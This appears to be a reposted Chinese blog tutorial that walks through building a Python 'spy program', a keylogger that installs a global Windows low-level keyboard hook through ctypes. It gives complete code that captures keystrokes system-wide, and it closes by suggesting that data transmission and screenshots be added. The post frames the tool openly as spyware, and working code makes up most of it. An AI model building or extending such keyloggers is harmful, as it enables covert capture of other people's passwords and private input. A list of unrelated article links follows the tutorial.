使用Python打造一款间谍程序的流程分析
作者:寂夜云 发布时间:2021-11-21 08:12:32
知识点
这次我们使用python来打造一款间谍程序
程序中会用到许多知识点,大致分为四块
win32API 此处可以在MSDN上查看
Python基础重点在cpytes库的使用,使用方法请点击此处
C语言基础
Hook
程序的基本原理在于通过注册Hook,记录系统事件
那么什么是Hook呢
Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递
注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
我们导入了user32.dll和kernel32.dll
这两个DLL有什么用处呢
user32.dll 是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息
kernel32.dll控制着系统的内存管理、数据的输入输出操作和中断处理
流程部分
知道了我们要使用什么样的工具,那么第一步应该怎么做呢
1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子
HHOOK SetWindowsHookExA(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看
通过文档我们看到第一个参数idHook中填入钩子的类型
WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件
第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的
第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄
最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联
代码如下
user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)
如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数
此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为
WINFUNCTYPE为Windows下独有的,通过使用使用stdcall调用约定的函数
CFUNCTYPE使用标准C调用约定的函数
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它
LowLevelKeyboardProc数据结构如下
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
按照官方文档提示如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值
我们转换为Python代码
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)]
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
# 此处插入我们的代码
pass
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除
删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄
user32.UnhookWindowsHookEx(hooked)
下面贴上全部代码
import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked):
if hooked is None:
return
user32.UnhookWindowsHookEx(hooked)
hooked = None
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20)
# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
if lParam.contents.value==13:
print("\n")
elif capsLock:
print(chr(lParam.contents.value),end="")
else:
print(chr(lParam.contents.value+32),end="")
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
if not hooked:
return False
return True
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
print("Hook installed")
try:
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
except KeyboardInterrupt as kerror:
uninstallHookProc(hooked)
print("Hook uninstall...")
else:
print("Hook installed error")
贴上我们的效果图
我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^
如何想要了解更多的只是请点击这里把 => 地址
来源:https://www.cnblogs.com/lonenysky/p/12341074.html


猜你喜欢
- 安装完 Oracle11g 之后,想打开自带的 SQL Plus 来学习,然后按照提示用 sys 用户来连接数据库,可输了好几次都提示一个错
- 0.引言自己在下载dlib官网给的example代码时,一开始不知道怎么使用,在一番摸索之后弄明白怎么使用了;现分享下 face_
- 目录1.按照一列数值进行排序1.1按照五缺失值的一列进行排序1.1.1升序排列1.1.2 降序排列1.2按照有缺失值的一列进行排序1.2.1
- 前言日常工作中,在不刷新页面的情况下发送消息并获得即时响应是我们认为理所当然的事情。但在过去,启用实时功能对开发人员来说是一个真正的挑战。开
- 脚本如下: drop table table1; CREATE TABLE `andrew`.`table1` ( `name` VARCH
- Django开发过程中如果数据库变动过多导致migrations的文件越来越多,管理起来很不方便, 幸运的是Django提供了一种方式可以是
- 概述Go 语言中的 new 和 make 一直是新手比较容易混淆的东西,咋一看很相似。不过解释两者之间的不同也非常容易。new 的主要特性首
- <title></title> <script src="js/jquery-1.7.2
- 目录一·Numpy库中操作文件1.操作csv文件2.在pycharm中操作csv文件3.其他情况(.npy类型文件)二·Pandas库中操作
- 调用python自带的GUI制作库一开始想用Tkinter制作GUI的,网上说是python自带的,结果输入:import tkinter后
- 最近ChatGpt异常火热,访问网站经常会出现1020的错误代码,或无法访问。大概率是因为服务器压力大,网关返回的1020错误码,只能等待官
- 当发现目录时出错如下:\windows\tensorflow\core\framework\op_kernel.cc:993] Not fo
- Git设置1.Git安装2.SSH密钥设置 生成密钥ssh-keygen -t rsa -C example@mail.com&n
- ccs的优点:css相对xpath语法比xpath简洁,定位速度比xpath快css的缺点:css不支持用逻辑运算符来定位,而xpath支持
- Cookie 模块,顾名思义,就是用来操作Cookie的模块。Cookie这块小蛋糕,玩过Web的人都知道,它是Server与Client保
- 本文实例讲述了python实现文件快照加密保护的方法。分享给大家供大家参考。具体如下:这段代码可以对指定的目录进行扫描,包含子目录,对指定扩
- 前言层次聚类是流行的无监督学习算法之一。层次聚类所做的就是找到数据集中具有相似属性的元素,并将它们组合在一个集群中。最后,我们得到一个单一的
- 1.什么是SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL
- 本文实例讲述了PHP对象克隆clone用法。分享给大家供大家参考,具体如下:浅克隆:只是克隆对象中的非对象非资源数据,即对象中属性存储的是对
- 1、shutdown normal 正常方式关闭数据库。 2、shutdown imme